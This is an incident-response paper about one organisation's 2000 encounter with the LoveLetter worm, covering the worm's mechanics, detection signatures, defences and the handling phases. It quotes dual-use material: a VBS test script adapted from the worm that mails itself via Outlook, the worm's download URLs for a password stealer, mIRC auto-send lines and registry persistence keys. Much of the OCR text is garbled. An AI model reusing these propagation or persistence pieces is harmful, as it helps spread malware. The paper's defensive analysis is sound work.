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EXECUTIVE SUMMARY

May 4th, 2000 was a day that would change my company's security posture forever. That
was the day that we experienced the LoveL etter Worm (VBS/Loveletter@MM, CA-
2000-04). I've chosen to make this incident the focus of my paper because my company
was not well prepared, and in the preparation phase we made a few erroneous
assumptions. The “lessons learned” phase of the incident was a huge eye opener, and |
will detail the multiple posture improvements made because of the lessons learned from
thisincident. We did not have aformal incident response team or a written incident
response policy at the time of the incident. Through diligence and prudent judgement, we
were able to recover with minimal losses. This paper will discuss the incident response
phases of preparation, identification, containment, eradication, recovery, and the valuable
lessons learned as it relates to our Lovel etter Worm incident.

BACKGROUND

The “company”, in which | work, referred to in this paper, is a non-profit private graduate
research university. Due to the openness of most campus networks and the myriad of
computing needs, it is challenging to enforce a good security policy. If acomputer
system is running testing software that is the cornerstone of a large research grant, it’s
difficult to mandate that the system run virus software if such virus detection software
has an adverse impact on the testing software. So we must be diligent and creative when
enforcing security policies.

We' d witnessed email-borne worms before (e.g. Melissa-March 1999) but these had
propagated by exploiting Microsoft mail clients. We were using Qualcomm's Eudora as
our email client and were minimally affected by these incidents and felt shielded, albeit
erroneously, against these attacks. With previous Microsoft Outlook worms, when one of
our users executed the worm, it wasn't able to propagate. Yes, it infected the workstation,
but without Outlook installed and configured, it couldn't fulfill it’srole as a mass mailer
and propagate to the entire company or worse, outside the company. Shortly before May
2000, we began to use the Outlook client for group scheduling and contact information
management. We were still not using it as an email client and felt confident that we were
at minimal risk to these attacks. We began to deploy Outlook on over 100 workstations.

PART 1 THE EXPLOIT

Love Letter Worm (VBS/L oveletter @M M)

Thisworm was first discovered on May 4, 2000 in the Philippines. It isaVisual Basic
Script (VBS) program that propagates as a mass mailer (MM). It is also known by the
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names Loveletter Worm and Love Bug. Thisworm arrives in an email with an
attachment of LOVELETTER-FOR-Y OU.TXT.vbs.

Operating Systems

Windows Scripting Host (WSH) is a language-independent scripting host for 32-bit
Windows platforms. Microsoft Visual Basic and Java Script scripting engines are
provided with WSH. WSH was initially provided with Internet Explorer version 5.0.

All Microsoft 32-bit Windows operating systems with WSH installed may be vulnerable
to thisworm. This includes Microsoft Windows 95/98/2000/ME/NT 4.0/XP. VBS
scripts are used by applications and will are automatically installed by them if needed.
Uninstalling WSH may effect the operation of those applications. It is better to disable
the ability of a user to execute a script and disable the ability for a script to automatically
send emails without warnings.

Because it is best to leave WSH installed and it is difficult to determine what level of e-

mail attachment security isin place, | demonstrate in the next section how to determine
your level of vulnerability.

Protocols/Services/ Applications

The basis of thisworm and its variants is Social Engineering. It tricks the recipient in
two main ways. One, the email usually comes from someone they know. It's someone
that has them in their Outlook address book. We usually instruct our usersto not execute
attachments from someone that they do not know. Thisincident has demonstrated that
we can no longer use this as our only red-flag warning. Two, the default setting of
Windows to hide known file type extensions makes the attachment appear to be a benign
text file. Thisworm also replaces select files found on all drives with itself and renames
the filesto have the same filename plus a VBS extension. A user wasn’t required to
execute an attachment to be infected, they simply had to open an infected file thinking
that they were opening a photo or amusic file. The most common, but not the only,
means of infection was executing the attachment.

Windows Scripting Host is a powerful automation language used by several applications.
It is feature rich and powerful. It containsaVisual Basic and a Java Script scripting
component. ThewormusesaVBS MAPI call to Outlook in order to read the address
book and to send the email.

set out=W5cri pt. Creat eCbj ect ("Qutl ook. Application")

set mapi =out . Get NanmeSpace(" MAPI ")

Without Microsoft Outlook, the worm cannot fulfill its role as a mass mailer but the
worm will still perform its other destructive functions. Un-patched versions of Microsoft
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Outlook 97/98/2000 are susceptible to allowing users to execute VBS scriptsin
attachments. Patches for Outlook were released in the following months (Microsoft
Security Patch Document Q235309)

e July 1999 - Outlook version 8.04.8018

* June 2000 - Outlook 98 SR1

e August 2001 - Outlook 2000 SR1

» Outlook XP was released with the security patch in place to warn a user of

executable attachments.

There are two methods used by these security patches to address executable attachments.
Outlook 97 and 98 deals with attachment security differently than Outlook 2000 and XP.

Outlook 97 and 98 will give the user a warning when they attempt to execute an
attachment. But they will be allowed to executeit if they first save it to disk. This
behavior is dictated by the attachment execution setting of HIGH and the attachment
having one of these suffixes: . ade, .adp, .bas, .bat, .chm .cnd,

.com .cpl, .crt, .exe, .hlp, .hta, .inf, .ins, .isp, .js,
.jse, .lnk, .nda, .ndb, .nde, .ndz, .nsc, .nsi, .nsp, .nst,
.pcd, .pif, .reg, .scr, .sct, .shs, .url, .vb, .vbe, .vbs,

.wsc, .wsf or .wsh. The executable attachment security setting is located on the
ATTACHMENTS tab in the menu TOOLS -> OPTIONS. Thetab appears after applying
the security patch.
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options 21 x|

Tasks/Mokes I Journal I Reminders I Speling I Autodrchive I
General | E-rnail I Sending I Feading I Calendar
Attachments | Delegates I Manage Forms I Security

— Attachment Security

executable code thiak might potentially cause securiky
problems, These settings contral how potential problems are
dealt with;

Security Method

= High; {recommended For all users}
‘Yo are warned of all security problems, You can
choose whether or not ko view potentially unsafe
atkachments or links,

,@ Aktachments and links in messages can conkain content or
y L]

i~ Mone: (not recommended)

‘fou are-not protected From any security problems. Lse
Ehis setting only if vou are sure all messages you
receive are safe,

i, I Zancel | Snply | Helg |

When an executable email attachment is opened, this dialogue is displayed.

Attachment Security Warning 5[

Q WARMING!
The File may contain awiras that can be harmful to wour

computer, Ikis imporkant ko be YERY certain that this file is
safe before you open it, You musk save this file to disk before
it can be opened,

Filename: kest-wsh,vbs

Type: WESCripE Scripk File

Save ko Disk, ., |

Outlook 2000/XP has divided file types into two categories. Look in Outlook Help under
the topic “ Security and Encryption” in the subtopic of “About Email Security.”
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Level 1 attachments, like .bat, .exe, .vbs, and .js, are treated as dangerous. Y ou cannot
send, receive, or forward emails with these attachments. Y ou also can’'t remove file types
from Level 1. You can add to level 1 though. The inbox will show a paperclip inthe
attachment column and awarning in the header stating that the attachment has been
blocked. A screen snapshot of the inbox is shown in the next section.

Level 2 attachments in an email will show the attachment icon and if opened will invoke
awarning if the security level isset HIGH. The warning message will give you the
opportunity to save the attachment locally and then the user must find it to execute it
outside of Outlook. File type extensions can be added and removed from Level 2.

Testing for Level of WHS Vulnerability

Toted if an operating system and Outlook is vulnerable to a WHS attack and to what
extent it warnsthe user, I’ ve taken part of the Lovel etter script and created atool that
will assist in determining if a
» System has WHS installed and can execute aVBS script by double clicking or
running the command line
» Script can automatically read your address book without warnings
» Send an automatic email without warnings

Create the following script and nameit t est - wsh. vbs. Replace the Outlook
username (male.Recipients.Add) with your own username.

emai | test ()

sub email test ()
dimregedit, out, mapi, nale
set out=W5cri pt. Creat eCbj ect ("Qutl ook. Appl i cation")
set mapi =out . Get NanmeSpace(" MAPI ")
set mal e=out. Createlten(0)
mal e. Reci pi ents. Add("Hearn, Stan")
mal e. Subj ect = "Testing WSH Barriers”
mal e. Body = "This was just a test!”
mal e. attachnent s. add("t est-wsh. vbs")
mal e. Send
Set out =Not hi ng
Set mapi =Not hi ng
end sub

Now execute the script either by double clicking on it or by executing this command:
wscri pt.exe test-wsh. vbs
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Shown here are the dialogues one would see if running Outlook XP. When the script
executes, it creates an Outlook object to send mail and when it attempts to access the
address book, Outlook will give thiswarning:

Microzoft Dutlook E2 l

/"'E & program is trving to access e-mail addresses you have
L ]

stored in Gutlook, Do wou wank ko allows Ehis?

If this is unexpected, it may be a virus and you should
chomse "o,

T allows aceess For IJ mmints _"_I

This dialogue box gives the user the option of allowing the program to access the e-mail
addresses. The option is given to select YES or to grant access for a specific amount of
time. After granting access, then Outlook will warn that a program is attempting to send
an email.

After the address book access is allowed, this dialogue will be displayed.

' & program is friving ta aufomatically send e-mail onyaur
SUN behalf, b
b ol wank to allow Ehis?

If khis is unexpected, it may be a virus and you should
choose "Ho",

Help |

Microsoft has added atime delay to this dialogue. After about five secondsthe YES
button is enabled. This allows the user enough time to read the text and it stopsthe users
that speed click through dialogues without reading them.

Once the script has sent itself to you, check your mail. Because the attachment falls into
the Level 1 category of the executable attachment types, you will see this in your Outlook
inbox:
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il = Testing WSH Bariers - Mezzage (HTHL]

Eile. Edit Mew Insert Formab PGP Tools  Actions . Help Twpe a question for help =

{8 :
| i GoReply RReplytoal WOFoward Sy v X -9 - 408 7 g K

[ |ﬂ Cutlook, blocked access ko the Following potentially unsafe atkachments: tesk-wsh,vbs, |

Framm: Hearrm, Stan Sent: Tue 4,!'23,5!02'1.501. Pra
T Hearn, Skan
(il

Subject:  Testing WSH Barriers

This was just a test!

The message contains a notice that the attachment has been removed.

If you are able to execute this script and don’t receive any notices, your system doesn’t
have the Outlook Attachment Security Patch installed.

Brief Description

Lovel etter was written as a Visual Basic Script (VBYS). It is classified asaWindows
mass mailer worm. There doesn’'t exist a Common Vulnerabilities and Exposures
number for thisworm. The CERT Coordination center has given it a designation of Cert
Advisory CA-2000-04. The most common means of infection was executing an
attachment that was disguised as atext file in an email. It aso infected al local and
network drives by replacing common files with copies of itself and a VBS extension.
This offered another way of inadvertently executing the script.

Microsoft Windows default behavior isto hide known file type extensions. A file whose
filename is LOVE-LETTER-FOR-Y OU.TXT.vbs would appear to the user, with the real
extension (VBS) hidden, to be a harmlesstext file. Most victims thought they were
opening a harmless text file.

Upon execution, the worm:

» Cresates copies of itself in the windows directory

» Destroysover 11 different file types replacing them with an executable version of
itself and adding a. VBS extension to the filename

» Destroysthe above files on local and shared drives

« Emailsitself to every address appearing in the Outlook address book

» Attemptsto propagate itself using Internet Relay Chat (IRC) if it detected mIRC was
installed
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» Placesreferencesto itself in the registry so that it will execute again on startup
» Changes Internet Explorer gart page
* Attemptsto download and install a password theft program

The Love Letter Worm traveled quickly through the Internet. The Cert Coordination
Center alone received reports of over 500,000 infections' .

Lovel etter Variants

At last count 81 variants of this worm have been identified in the wild-VBS.Lovel etter.a
to VBS.Lovel etter.CN as categorized by Symantec”. They differ in many subtle ways
such as the email content, the attachment name, and worm functionality. Some of the
variants even claimed to be virus alerts stating that the attached file would *scan and
clean your system” for the worm. The variants do avery good job improving on the
Social Engineering of the original Lovel etter.

We received reports within 4 hours of our first incident of numerous variants already
spreading through the Internet. The fact that thiswas aVBS text file made it easy for the
average cracker to modify and re-deploy the worm. A few examples of variants are:

* VBS.Loveletter.C (Very Funny)
» Email subject: fwd: Joke
» Attachment: VeryFunny.VBS
* VBS.Lovel etter.E (Mother's Day)
» Email subject: Mothers Day Order Confirmation
* Body: We have proceeded to charge your credit card amount of $326.92 for the
mothers day diamond special. We have attached a detailed invoice to this email.
Please print out the attachment and keep it in a safe place. Thanks Again and
Have a Happy Mothers Day! mothersday@subdimension.com
» Attachment: mothersday.vbs
* VBS.Loveletter.K (Important! Read carefully!!)
» Email subject: Important! Read carefully!!
» Body: Here's the easy way to fix the love virus.
» Attachment: Important. How to protect yourself from the ILOVEY OU bug!

References

There are numerous web pages dedicated to thisworm and its variants. Listed here are
some of the best. There are more listed in the reference section of this paper.

e Command - AntiVirus Software <http://www.command.co.uk/html/virus/love.html>
* F-Secure <http://www.europe.f-secure.com/v-descs/love.shtml>
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e Symantec
<http://securityresponse.symantec.com/avcenter/venc/data/vbs.lovel etter.a.html>
e Cert.Org “Anti-Virus Vendor Information”
<http://www.cert.org/advisories/ CA-2000-04.html#antivirus>

PART 2 THE ATTACK

Description and Diagram of Networ k

My company had 12 UNIX systems, two NT version 4.0 fileserver systems [primary and
backup domain controllers], and over 300 Windows and Macintosh workstations. The
interconnecting network consisted of 6 subnets being served by two Cisco 4500 routers.
Each floor of our building is a separate subnet. The subnet connections from the routers
are fed to a Cabletron MMAC hub. These MMAC cabinets are expandable with 24 port
10BaseT blades up to 192 ports.

All server systems were contained in one room. The operating software and backup tapes
for those machines were kept in the same room.

Our NT fileserver was running Microsoft Exchange version 5.5 but it did not have SMTP
or POP3 services enabled or running. Outlook, running on the workstations, was
configured only to use Remote Procedure Calls (RPC’ s) to communicate to the Exchange
server.
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Brief Protocol Description

|

-6 Cabletron MMAC |
8FNB Chassis '
-8 24 portTPMIM Hub I
Cards can expand to |
192 Port 10BaseT |
-One Chassis per |
Subnet I
!

Solaris 2.6
SMTP Server
POP3 Server

NT 4.0
File Server
Exchange Server

Over 300 Workstations
Microsoft Windows
Apple Macintosh

Sun Workstations

SGIl Workstations

The two protocols used by Lovel etter are Social Engineering and the Openness of

N G G e e e e ey e e e B e e e e B e e e e e B B B W P e e M Bl By ey By 8

Windows Operating Systems and Applications.

The Social Engineering aspect of the worm is attained by disguising the email attachment
as abenign text file and having the email originate from someone that has the recipient in
their address book.
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The attack of the openness of the Windows Operating Systems and Applicationsis
achieved on many levels. VBS is apowerful scripting language. Unchecked, a script has
almost unlimited access to the system. Windows default behavior of hiding known file
type extensions was also exploited successfully. Outlook maintains an address book of
every Exchange user. It was easy for the worm to get this list and email itself to
everyone on it.

How The Exploit Works

The source code of the Lovel etter worm is shownin Listing 2. The Visual Basic Script
attempts to propagate itself and in doing so will cause a denial of service attack by
overloading the Exchange server with emails.

The script contains 8 subroutines and 3 functions. They are:

sub main() # Main subroutine

sub regruns() # 1) Creates two registry entries, 2)read
I nternet Explorer downl oad directory registry entry,
3) randomy sets Internet Explorer’s startup page to
one of four web addresses pointing to W N BUGSFI X. exe

sub listadriv # gather list of every local and renote
drive and then call folderlist subroutine

sub infectfiles(fol derspec) # cycle through each fol der
and infect each file found with a target extension

sub fol derlist(fol derspec)

sub regcreate(regkey,regvalue) # creates registry entry

function regget(value) # reads registry entry given key

function fileexist(filespec) # returns true if file
exi sts

function fol derexist(fol derspec) # returns true if folder
exi sts

sub spreadtoemail () # replicate itself through emai

sub html # create HTM. files

The important variables used throughout the script are:
» vbscopy - copy of itself

e dirwin - Windows O.S. Directory

o dirsystem - Windows O.S. System Directory

» dirtemp - Windows O.S. Temporary Directory
» downread - Internet Explorer Download Directory

Upon execution the script performs these tasks:

Lines 26-28, 142 - Create copies of itself using these filenames:
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di rsyst em& MSKERNEL32. VBS

di rwi n& W N32DLL. VBS

di rsyst em&\ LOVE- LETTER- FOR- YOU. TXT. VBS
di rsyst em& LOVE- LETTER- FOR- YOU. HTM

Lines 38 and 42 - makes these registry entriesin the
HKLM Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ branch to execute
itself on boot

Run\ MSKer nel 32=W NDOAB\ SYSTEM MSKer nel 32. vbs
RunSer vi ces\ W n32DLL=W NDOAB\ W n32DLL. vbs

Line 44 - Checksto seeif there’s aregistry entry for
“HKCW Sof t war e\ M crosoft\ I nternet Explorer\Downl oad
Di rectory”,if it doesn't exist, the variabledownr ead issetto“c: \ "

Line 49-70 - If the WinFAT32.exe file exists then arandom number from1to 4 is
generated. It setsthe Internet Explorer Start Page to one of four possible pages: (WIN-
BUGSFI X.exe is a password theft program which will attempt to email cached passwords
to MAILME@SUPER.NET.PH)

1)

“http://ww. skyi net. net/ ~youngls/ HIKhj nwer hj kxcvyt wer t nMIFwe
t r dsf mhPnj w6587345gvsdf 7679nj bvYT/ W N- BUGSFI X. exe”

2)

“http://ww. skyi net. net/ ~angel cat/ skl adj fl fdj ghKInwet r yDGFi k
j Ul ygwer We546786324hj k4j nHHGovbnKLJIKj hkgj 4w W N- BUGSFI X. exe"
3)

“http://ww. skyi net. net/ ~koichi/|f6TR kcbhGRpGgaql98vbFV5hf FE
kbopBdQZnnPChf gER67b3Vbvg/ W N- BUGSFI X. exe”

4)

"http://ww. skyi net. net/~chu/ sdgf hj ksdf j kl NBmf gkKLH kgwt uHJ
BhAFSDG khYUggwer asdj hPhj asf dgl kNBhbgwebnznxcbvnmadshf ggw23
7461234i uy7t hj g/ W N- BUGSFI X. exe"

Line 71 - If WIN-BUGSFI X.EXE existsin the Internet Explorer download directory that
means that the user has successfully fetched the program. It modifiesthe registry to
launch the program at the next boot and it changes the Internet Explorer sart page to
“about:blank”.

Line 95-149 - The script then searches every local and remote drive folder available to
the system. Depending on the file types it finds it does different things. Below isa
flowchart of this section of the script.
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(Beginning of File Infection Loop)

Set fso = CreateObject ("Scripting.FileSystemObject™)

Get list of all drives:
Set de = fso.Drives

!

Execute loop for all drives:
For Each d in de

If d.DriveType = 2
or
d.DriveType = 3

Call folderlist subroutine Sl
with drive letter appended with "\" <l

Folderlist (folderspec)

1| Set £ = fso.GetFolder (folderspec)
folderlist(d. path&"\") Set sf = fso.SubFolders

I

Are there more
drives to look at?

Execute loop for all subfolders

For Fach fl1 in sf

Call subroutine infectfiles(f1. path) 1—»@

( End of File Infection Loop )

Recusively Call subroutine folderlist(f1. path)

Are there more
subfolders to
look at?
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A Subroutine:
infectfiles(folderspec)

Set £ = fso.GetFolder(folderspec)
Set fc = f.Files

// Execute loop for all files in folder
For Each fl in fc

ext = _
fso.GetExtensionName (fl.path)

Overwrite file with copy of worm

s extension = "vbs" or "vbe"2

-Overwrite file with copy of worm
-Copy file to new name with
extension replaced by ".vbs"
-Delete original filename

Is extension = "js" or "jse"
or “css" or "wsh"
or "sct" or "hta"?

Ex: afile.js becomes afile.vbs

-Overwrite file with copy of worm
YES -Copy file to new name with
extension of ".vbs" added
-Delete original filename

Is extension = "jpg" or "jpeg"?

Ex: afile.jpg becomes afile.jpg.vbs

-Create file with copy of worm
using filename + ".vbs"

YES -Set attribute of music file to hidden

Is extension = "mp3" or "mp2"?

NOTE: Original file is not destroyed
just hidden

-Create file named
script.ini in this folder.
YES Overwrite the file if it exists.

Is the current
file anyone of these:
"mirc32.exe" or "mlink32.exe"
or "mirc.ini" or "script.ini" or
"mirc.hlp"

Have | already infected
this mIRC folder?

This script will cause mIRC to
attempt to send worm file
LOVE-LETTER-FOR-YOU.HTM
next time mIRC is launched.

eq <> folderspec

YES NO
Are there more
files in folder?

>( Return to calling routine )
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Line 189 - Reads every Outlook Address Book (WAB) listed in the registry branch
“HKEY_CURRENT _USER\ Sof t war e\ M cr osof t \ WAB\ “ and sends a copy of itself
to every entry in each address book.

Description and Diagram of the Attack
An employee in our company received an email from her daughter that looked like this:

Subj ect: "I LOVEYOU'

Message Body "kindly check the attached LOVELETTER
comng fromne."

Message Attachnment "LOVE-LETTER- FOR- YOU. TXT. vbs"

I’m sure it was not unusual for her daughter to tell her that she loved her, and the
attachment appeared to be a harmlesstext file so she opened it. Thisis very good Social
Engineering. It was from someone that she loved and the attachment was disguised as a
text file. If she had received this email from an associate instead of her daughter she may
have been a little more skeptical toward it. It immediately infected all local and network
drives and then emailed itself to the 130 individual addresses stored in the corporate
address book.

Our company had survived malicious software email attacks before. 1t was aways an
isolated incident and the users always learned lessons from it. And since Outlook was
not installed by default on workstations, the incident never affected more than one
machine. But we had recently initiated a migration of our group scheduling and contact
management software to Microsoft Exchange using Microsoft Outlook clients. We felt
that since we were not using Outlook as email clients that our risk to such an attack was
minimal.

oo oo

Ui, NT
Sendmail Exchange
POP3
SMTP RPC

Eudora Outlook

Windows
Workstation

Figure 1
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We were wrong. Outlook wasn't configured to use SMTP or POP3, but it was using RPC
protocol. It till sent emails to the Exchange server to schedule meetings, etc. Other
Exchange users see these messages in their Outlook inbox instead of in their Eudora
inbox. Theworm’s mass mailing didn’'t necessarily have to propagate through normal
SMTP/POPS3 protocols. This misconception left us vulnerable to this worm.

The worm spread quickly. Anindividual executes the worm and it sends an email to
everyone in the address book a copy of itself. Then another individual executes it and it
starts all over again. If the person rebooted their computer, it executed again. Since it
also infects network drives, anyone who’s using that same shared resource may
accidentally execute the worm thinking they are opening a harmless photo or music file,
and the infection and propagation process starts al over again.

Signatures of the Attack

Network and Server Signatures

On the Exchange Server you will notice emails to many recipients from the same sender
with the same subject and attachment. If recipients are opening the attachment, you’ll see
an exponential rise in emails on the server and should notice a performance degradation.

The format of the email message and attachment is constant. The only part that changes
is the recipient and sender.
Subj ect: "I LOVEYOU'
Message Body "kindly check the attached LOVELETTER
comng fromne."
Message Attachnment "LOVE- LETTER- FOR- YOU. TXT. vbs™”

The attachment begins with:
rem barok -loveletter(vbe) <i hate go to school >

The attachment ends with:
end sub

Y ou will also notice that infected files on your file server have suddenly changed names
and sizes. Their names will have “.vbs’ appended to them and their sizes will be exactly
10307 bytes.

If you are doing egress filtering or monitoring, you may notice connections to the
following Internet addresses:
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htt p: / / www. skyi net . net/ ~youngls/ HIKhj nwer hj kxcvytwertn
MIFwet r dsf mhPnj w6587345gvsdf 7679nj bvYT/ W N-
BUGSFI X. exe

htt p: / / www. skyi net . net/ ~angel cat/ skl adj fI f dj ghKdnwetry
DGFi kj Ul ygwer We546786324hj k4] nHHGbvbnKLJIK] hkqj 4w W N-
BUGSFI X. exe

htt p: / / www. skyi net . net/ ~koi chi/jf6TR kcbhGRpGqaql98vbFV
5hf FEkKbopBdQZnnPCOhf gER67b3Vbvg/ W N- BUGSFI X. exe

htt p: / / www. skyi net . net/ ~chu/ sdgf hj ksdf j kI NBrmf gkKLH kq
wt uHIBhAFSDG khYUggwer asdj hPhj asf dgl kNBhbgwebnenxcbvn
madshf gqw237461234i uy7t hj g/ W N- BUGSFI X. exe

Client Signatures

On an infected Windows client you will find the following signatures.

These files are created by the worm. di r wi n isthe Windows directory and
di r syst emisthe Windows System directory. (Usually c: \ wi ndows and
c: \w ndows\ syst emrespectively)

di r syst em& MSKERNEL32. VBS

di rwi n& W N32DLL. VBS

di rsyst em&\ LOVE- LETTER- FOR- YOU. TXT. VBS
di rsyst em& LOVE- LETTER- FOR- YOU. HTM

Y ou will notice files of exactly 10307 bytes with an extension of VBS. You can find
these using the Windows Explorer Find Filestool. Search for files with a name of
“* vbs’ and sort by size.

These registry entries are created by the worm.

HKLM Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ Run\ MSK
er nel 32=W NDOWB\ SYSTEM NMSKer nel 32. vbs

HKLM Sof t war e\ M cr osof t \ W ndows\ Cur r ent Ver si on\ RunSer v
i ces\ W n32DLL=W NDOWS\ W n32DLL. vbs

If mIRC isingtalled, it’s INI file will be changed to include this section (di r syst emis
the Windows directory):
n0=on 1: JA N: #: {
nl= /if ( $nick == $me ) { halt }
n2= /.dcc send $nick "&dirsystem&'\ LOVE- LETTER- FOR-
YOU. HTM
n3=}
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How to Protect Against L ovel etter
Several actions can be taken to eliminate or reduce the spread of this worm

Usea Mail Transfer Agent (MTA) configured to strip VBS attachmentsfrom
emails. If your organization doesn't’ have a mission critical reason to distribute VBS
scripts via email, then they should be removed. Perhaps removed along with several
other types of executable attachments.

Change the default behavior of Windows to not “hide file extensions for known file
types’. Itisthisdefault configuration that allows the worm to “social engineer” the
recipient into executing the attachment. This could be considered a nice feature but it
insulates the user from what they’ re actually doing and as demonstrated, can be very
dangerous. | don't think this would have completely eliminated the Lovel etter epidemic,
but it may have helped slow it down. Turn this setting off using these instructions:

* Double-click My Computer, and then click Options (or Folder Options) on the View
menul.

» Click the View tab, and then click the "Hide file extensions for known file types" (or
"Hide MS-DOS file extensions for file typesthat are registered") check box to clear
it.

» Click OK, and then close My Computer.

Changethe VBSfile extension association to Notepad.exe. Any program can be used,
but changing the association will cause the script to be simply opened in Notepad.
Change the value of thisregistry key as shown:

[ HKLM SOFTWARE\ Cl asses\ VBSFi | e\ Shel I \ Open\ Conmmand]

@" C.\\ W NDOWS\ \ Syst eml \ Not epad. exe 94" <- WN 9X/ ME
@" C.\\ WNNT\\ Syst enBB2\ \ Not epad. exe 94" <- WN NI/ 2K/ XP

Educate usersto not execute unknown or unexpected attachments. | know thisis
difficult and it’s simply afirst line of defense. They must be regularly warned about the
risks of executing attachments.

Filter emails so that attachment names had their filename extensions mangled, this
would require users to rename the attachments before being able to execute them. This
would provide another “defense in-depth” layer of security.

It would have been nice if our virus detection software vendor had offered updates before
the incident occurred, but that was not possible when the worm was introduced into our
network less than 10 hours after it began in the Philippines. However, before we were
infected, we did know some of the signatures of thisthreat. We knew its subject, body,
and file attachment name. If we had email filtering software in place that could have
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rejected the email based on this criteria we wouldn’'t have been as dependent on our virus
detection vendor. As soon aswe learned of the signature we could have made the
filtering software changes ourselves and possibly could have stopped the virus on our
UNIX sendmail system when it first entered our domain.

Thisworm was so prolific that al virus protection software in production today will
catch the Lovel etter worm and all of its variants. But until the afternoon of May 4™ the
virus definitions to protect against this worm were not available. And when they were
available, the vendor’s web servers were so busy, they were ailmost impossible to obtain.

Another method of defense against any and all VBS worms isto disable Windows
Scripting Host (WSH). Some applications such as Outlook will have reduced
functionality with WSH disabled so disabling it may not be an option. Instructions for
disabling WSH can be found at <http://www.sophos.com/support/fags/wsh.html>. The
instructions are different for every version of Windows.

Disabling Active Scripting in Internet Explorer isanother alternative. However, this
may reduce the functionality of Internet Explorer. Information for disabling this feature
can be found at <http://www.cert.org/tech_tipg/malicious_code FAQ.html#steps>.

Internet Relay Chat (IRC) clients should have auto-DCC reception of files presented to

them during IRC sessionsdisabled. Thisisdone inthe IRC client software. Consult
its documentation for instructions.

PART STHE INCIDENT HANDLING PROCESS

Preparation

When an incident occurs, good preparation will make a great deal of difference in how
the incident is handled and its impact on an organization. Establishing policies and
practices in advance, will reduce mistakes and response times. By being proactive, many
would-be incidents will be thwarted. Good preparation will also give the incident team a
roadmap to follow during the incident, and hopefully they’ ve practiced and are familiar
with the roadmap. If the response team feels prepared, it will give them stress-reducing
confidence and hopefully decrease production time losses due to the incident.

Preparation is an ongoing task. Operating System software and application software are
constantly being upgraded which requires new security assessments and preparation plan
modifications.

Asin our experience with the Lovel etter worm, the last phase in incident handling,
Lessons Learned, will directly feed the Preparation phase with new tasks. The method of
act and react offers course corrections, which makes this system very effective.
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Proactive preparation involves performing tasks that will prevent incidents and prevent
catastrophic mistakes during incident handling. Some proactive preparation examples
that we were performing:

» Patching operating systems and known vulnerabilities and testing the patches

» Patching applications and testing the patches

* Running virus detection software AND updating DATs and engines

» Creating and educating incident response staff

» Educating users on how to avoid incidents and how to recognize and report incidents.
» Creating aformal incident handling policy

Our micro support supervisor was the lead incident handler and was ultimately
responsible for every phase of thisincident. The members of the incident team were:

* Microcomputer Support Supervisor who isalso the NT Administrator
» Senior UNIX Systems and Network Administrator, myself

* 3 Microcomputer Support staff

» Oracle Development Manager

» Information Technology Department Manager

As you can see, anyone who had something to offer was involved in some part of the
incident handling. Thisisnot aformal group, but | would probably list these individual’s
expertise in an incident team plan.

Information pertaining to system vulnerabilities is gathered from several sources. The
system administrators are members of security related mailing lists and are expected to
apply all appropriate patches and address vulnerabilities that are received. All of these
organizations offer a security related mailing list:

* Operating System Vendor security lists (Sun, IBM, Linux, Microsoft, etc.)

» System Administration Networking and Security <www.sans.org> (SANS security
digest)

» CERT <www.cert.org> (CERT Alerts)

» Application Vendors (<www.oracle.com>, <www.mysgl.com>, <www.apache.org>)

Virus protection isrequired at my company. But before this incident it was not enforced
for workgtations. On our NT server we were running McAfee Virusscan. We came to
find out later that it didn’t scan the Exchange information store and that we needed an
additional add-on to do this named Groupshield.

The system administration duties at my company are divided between NT and UNIX.
Both groups are responsible for patching systems and applications. The NT staff isalso
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responsible for desktop systems and applications. We are constantly patching known
system vulnerabilities. We analyze known threats to access our vulnerabilities.
Management supportsour efforts, but we must be balance our time management between
security projects and ongoing production projects.

My company did not have an official incident plan. We had successfully dealt with
several incidents in the past and we assumed that we could successfully recover from
most incidents and didn’t know we needed an official incident plan. The records of the
incident were not kept in one place and an official incident report does not exist.

Our unofficial policy asto whether to gather evidence for prosecution or to clean and
protect is dictated by the identity of the perpetrator. If the perpetrator was an employee,
student, or contractor, then we would have entered evidence gathering mode. We did not
have an official policy concerning evidence chain of custody.

A full backup is performed on our servers every weekday night. In the case of UNIX
systems, it’s performed using cpi 0 and dunp. The NT primary and backup domain
controllers are backed up using Computer Associates software. Semi-monthly tapes are
taken off-site for storage. A 30-day tape rotation isused. After two months, the off-site
tapes are brought back on-site and placed back into the tape rotation. The last two
backup tapes from each system are placed in a media rated fireproof safe for storage.

We do not have an official security briefing policy for new or existing employeesto read
and sign. Periodically when an email born virus is spreading through the Internet, we
remind all users via company wide email to not execute suspicious attachments. We also
remind users to persistently update their local virus definitions.

A login script isassigned to every NT user. When a computer logs onto the domain, this
script runs which allows us to map drives, give warning banners, and most importantly
check for registry entries. Thistool allowed us to check systems for infection without
user intervention. Thistool isexplained in the recovery phase.

We constantly warn users to not execute attachments, so as a precautionary measure we
felt that we should warn them again. The email in Attachment 1 was sent company wide
before our first incident.

We didn't have an incident toolkit. We had tools, but they weren't officially placed in a
kit. All our servers are located in one room and all but afew staff are in one building.
The tools that we had available to us were:

* Operating syssem CDROMs
* Boot floppies
o Test system(s)
* Network hubs
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» Backup tape drives and hard drives
e Two-way radios

| dentification

[dentifying the Lovel etter worm was not difficult. We had already received warnings
from sister organizations and had heard news reports of the worm. It was easily surmised
that over athousand emails flooding our normally quiescent Exchange Server was an
incident. The worm was identified immediately because my Outlook inbox contained the
Lovel etter. The time was approximately 8:50 a.m.

The worm’'s emails sent to Exchange did not have a modified FROM address so we knew
the users with Outlook who had executed it. We were able to examine these systems
first. Other individuals who didn’t have Outlook needed to notify usthat they were
infected. Later we developed a method to detect these systems. A total of 15 systems
were found to be infected.

The infected email looks like this:

¥ ILOVEYOU - Message [Rich Text] S[=]ES

]Eile Edit Miew Insert Format Tools fckions Table Help

Ji_-.Eq.il Eeply_.! @Hepb bo Al | W Fnrﬂard_| % EE; | r oz

Fram: John Doe Sent: Thu Sj4/00 11:29 aM
To: Jobin Doe
i

Subject:  ILCYEYOU

kindly check the attached LOVELETTER 3

[
2

LOVE-LETTER-FOR-Y
coming from me. OULTT whs

El:li=E RN

Photo Source: www.datafellows.com/f-secure
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The Internet Explorer Start Page is set to thisHTML file created by the worm:

J Eile Edit: Miew Favortez Toolz  Help |“
I e < R EY A R e
£ EEGh Forinand Stop Refresh Home | Seamch Favortes
Jﬁ-‘«dd[ess @ E:"M-flNDDWS'\SYSTEM"«LEIVE-LETTEF:-FEIF:-_:!. o Go J Links **

This HTML fil need ActiveX Control

To Enable to read this HTMT file

- Please press "TES' button to Enable Sctvedl

